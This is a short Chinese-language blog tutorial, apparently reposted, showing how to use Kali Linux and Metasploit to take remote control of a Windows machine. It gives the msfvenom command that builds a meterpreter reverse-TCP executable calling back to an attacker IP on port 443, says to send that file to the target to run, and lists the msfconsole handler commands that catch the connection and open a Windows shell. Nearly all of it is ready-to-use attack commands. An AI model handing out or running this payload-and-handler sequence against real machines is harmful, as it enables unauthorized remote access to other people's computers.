Kali-利用metasploit中的exploit/multi/handler进行攻击

在攻击服务器上生成连接软件,LHOST为攻击机IP地址

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.52.133 LPORT=443 -f exe -o met.exe
打开msfconsole控制台


将软件发给客户机上运行,此时kali上会有连接提示
[mw_shl_code=applescript,true]root@qzwhost:~# msfconsole 
msfconsole > use exploit/multi/handler
msfconsole (exploit/multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msfconsole (exploit/multi/handler) > set LHOST <IP>
msfconsole (exploit/multi/handler) > set LPORT 443
msfconsole (exploit/multi/handler) > exploit[/mw_shl_code]


此时连接建立成功,输入shell测试



出现Windows命令行则说明攻击成功

如果提醒如下,输入shell显示meterpreter > shell [-] Unknown command: shell.,说明链接未建立成功

meterpreter > shell
[-] Unknown command: shell.

猜你喜欢

转载自www.cnblogs.com/xyongsec/p/11068596.html
今日推荐